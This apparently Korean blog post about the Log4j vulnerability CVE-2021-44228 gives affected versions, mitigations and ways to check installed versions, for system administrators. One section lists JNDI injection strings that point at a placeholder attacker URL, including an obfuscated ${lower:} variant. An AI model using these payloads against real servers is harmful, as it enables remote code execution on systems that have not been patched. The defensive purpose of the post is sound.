Java

아파치 log 4j 취약점 해결 방법 [전세계 비상!!]

서버용 로그 기록 소프트웨어인 아파치(Apahce) 로그(Log)4j에서 컴퓨터 역사사상 최악의 치명적인 취약점(CVE-2021-44228)발견되어 주말인 오늘 전세계에 비상이 걸렸다는 뉴스들을 접했다. 이번 보안 결함이 “하트블리드”,”CPU게이트”를 뛰어넘을 취약점으로 보고 된다.

 

IT역사상 이건 엄청난 사건으로 기록될 것으로 생각된다. 왜냐하면, 윈도우 서버가 아닌, 리눅스 계열의 서버에서 웹서비스를 하고 있는 대부분의 사이트들이 아파치 로그4j를 사용하고 있기 때문이다.

애플, 아마존을 비롯해 대한민국 공기업과 대기업의 대부분이 아파치 Log 4j를 사용중이라고 보면 된다.

 

과학기술정보통신부는 ‘아파치 로그4j 2’ 서비스에 대한 보안취약점이 발견됨에 따라 긴급 보안 업데이트를 권고했다.

 

이번에 발견된 취약점은 자바 언어로 개발된 ‘마인크래프트’에서 취약점이 발견되면서 급부상했다고 한다.

마이크로소프트 (마인크래프트 운영사 )는 업데이트를 진행하고 개선 버전을 배포한 상태이다.

 

“공격자가 이번 취약점을 악용할 경우, 공격자의 목표가 된 컴퓨터나 서버에 대한 광범위한 해킹 및 조작이 가능하다”

 

과학기술정통부는 한국인터넷진흥원(KISA) 보호나라 홈페이지를 통해 즉시 보안 업데이트를 당부하고, 기반시설, ISMS 인증기업(758개사), CISO(23,835명), 웹호스팅사(477개사), C-TAS(328개사), 클라우드 보안인증 기업(36개사), IDC (16곳) 등을 대상으로 신속한 조치를 요청했다고 한다.

 

이번 취약점 관련 보안 취약점 조치에 대한 자세한 사항은 보호나라 홈페이지 보안공지(1614번 공지) 또는 국번없이 118로 상담을 요청하면 자세한 내용을 안내받을 수 있다.

 

 

CVE – CVE-2021-44228

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitr

cve.mitre.org

 

[긴급] Apache Log4j 2 원격코드 실행(RCE) 취약점 주의! [CVE-2021-44228]

안녕하세요? 이스트시큐리티 ESRC(시큐리티대응센터) 입니다. Apache Log4j 2 에서 발생하는 취약점(CVE-2021-44228)을 통해 악성코드 감염 등의 피해가 발생할 수 있어 최신 버전으로 긴급 업데이트가 필

blog.alyac.co.kr

□ 주요 내용
 o Apache Log4j 2*에서 발생하는 원격코드 실행 취약점(CVE-2021-44228)[2]
   * 프로그램 작성 중 로그를 남기기 위해 사용되는 자바 기반의 오픈소스 유틸리티

□ 영향을 받는 버전
 o Apache Log4j 2
   – 2.0-beta9 ~ 2.14.1 모든버전
 o Apache Log4j 2를 사용하는 제품
    ※ 참고 사이트 [4]를 확인하여 해당 제품을 이용 중일 경우, 해당 제조사의 권고에 따라 패치 또는 대응 방안 적용
 

□ 전자정부 표준프레임워크(eGovFrame) 사용시 영향을 받는 버전 :
– apache log4j 2.0-beta9 ~ 2.14.1 모든버전
* 표준프레임에서 각 버전별 최초 배포되는 log4j의 버전은 다음과 같습니다.
—————————-
3.0 : Log4j 2.0
3.1 : Log4j 2.0
3.5 : Log4j 2.1
3.6 : Log4j 2.5
3.7 : Log4j 2.8.2
3.8 : Log4j 2.10.0
3.9 : Log4j 2.11.2
3.10 : Log4j 2.12.1
4.0(베타) : : Log4j 2.14.0
—————————-

□ 해결방안
 o 2.0-beta9 ~ 2.10.0
   – JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
 o 2.10 ~ 2.14.1
   – log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정
 o 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용[3]

□ 탐지정책
o Log4j 취약점 관련 탐지정책(시그니처)
  – 참고사이트 [5]를 참고하여 Log4j로 검색하여 탐지정책 확인
     ※ 본 탐지정책은 내부 시스템 환경에 따라 다르게 동작할 수 있으며, 시스템 운영에 영향을 줄 수 있으므로 충분한 검
토 후 적용 바랍니다.
     ※ 공개된 탐지정책은 우회가능성이 있으므로 지속적인 업데이트가 필요합니다


 

[참고사이트]
[1] apache 보안 업데이트 현황 : https://logging.apache.org/log4j/2.x/security.html
[2] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
[3] 신규버전 다운로드 : https://logging.apache.org/log4j/2.x/download.html
[4] 제조사별 현황 : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

[5] 탐지정책 : https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules

 

 

취약점이 트리거 하는 방법

공격자가 요청에 다음과 같은 순으로 요청 시 트리거 된다.

 - ${jndi:rmi://공격자URL}

 - ${jndi:ldap://공격자URL}

 - ${jndi:${lower:l}${lower:d}a${lower:p}://공격자URL}

Log4j 버전 확인하는 방법

1. 자바 스프링 프레임웍을 사용중이라면 대부분 Maven을 사용중일 것이다.pom.xml 파일을 열고 “log4j”로 검색하여 설치된 버전 정보를 확인할 수 있다.

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> 
<dependency> 
  <groupId>org.apache.logging.log4j</groupId> 
  <artifactId>log4j-core</artifactId> 
  <version>2.12.1</version> 
</dependency>

2. resource파일에 log4j.properties파일 설정정보도 확인해본다.

 

리눅스 아파치 설치 버전 확인하는 방법

서버에 접근 후 “ps -ef|grep httpd” 명령어를 실행 후 httpd -v 명령어를 실행한다.


 

Log4j 취약점 CVE-2021-44228 조치방안

1. Log4j v2.15.0으로 업그레이드 한다.

WEB-INF/lib 폴더안에 log4j파일을 최신 버전으로 업데이트하거나 Gradle파일을 수정하여 프로젝트를 재 빌드 진행!!

또는 pom.xml 파일을 열고 version 업그레이드

2. Log4j v2.10 이상의 버전을 사용중이라면, 다음 속성값을 설정해준다.

log4j2.formatMsgNoLookups=true

또한 동일한 영향을 받는 버전에 대해 환경 변수를 설정할 수 있다.

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. 또 다른 방법으로 아래 명령어를 실행하여 클래스 경로에서 JndiLookup 클래스를 제거한다. 

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

Log4J2 Vulnerability and Spring Boot

spring boot의 경우, 기본 설정을 그대로 사용했다면 문제가 없다고 한다.

 

Log4J2 Vulnerability and Spring Boot

<p>As you may have seen in the news, a new zero-day exploit has been reported against the popular Log4J2 library which can allow an attacker to remotely execute code. The vulnerability has been reported with <a href=”https://nvd.nist.gov/vuln/detail/CVE-20

spring.io

 

Log4j 취약점 아마존 AWS 대응방법

https://aws.amazon.com/ko/security/security-bulletins/AWS-2021-005/ 

 

Apache Log4j2 Security Bulletin (CVE-2021-44228)

Initial Publication Date: 2021/12/10 7:20 PM PDT AWS is aware of the recently disclosed security issue relating to the open-source Apache “Log4j2″ utility (CVE-2021-44228). We are actively monitoring this issue, and are working on addressing it for any A

aws.amazon.com

 

2021.12.13 내용추가

회사에 출근해서 프로젝트 pom.xml을 확인해보았다.

담당자는 아니지만 궁금했기에…

버전이 낮은 버전이라 이번 log4j 취약점 이슈의 대상이 되지는 않았다.

        <dependency>
		    <groupId>org.slf4j</groupId>
		    <artifactId>slf4j-log4j12</artifactId>
		    <version>1.7.25</version>
        </dependency>
        
		<dependency>
			<groupId>org.slf4j</groupId>
			<artifactId>log4j-over-slf4j</artifactId>
			<version>1.7.25</version>
		</dependency>

 

스프링 블로그

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot 

 

스프링 의존성 확인

- Window
   ./mvnw dependency:list | findstr log4j

- Unix, Linux
    ./mvnw dependency:list | grep log4j
 

[REFERENCE]

 

Leave a Reply

error: Content is protected !!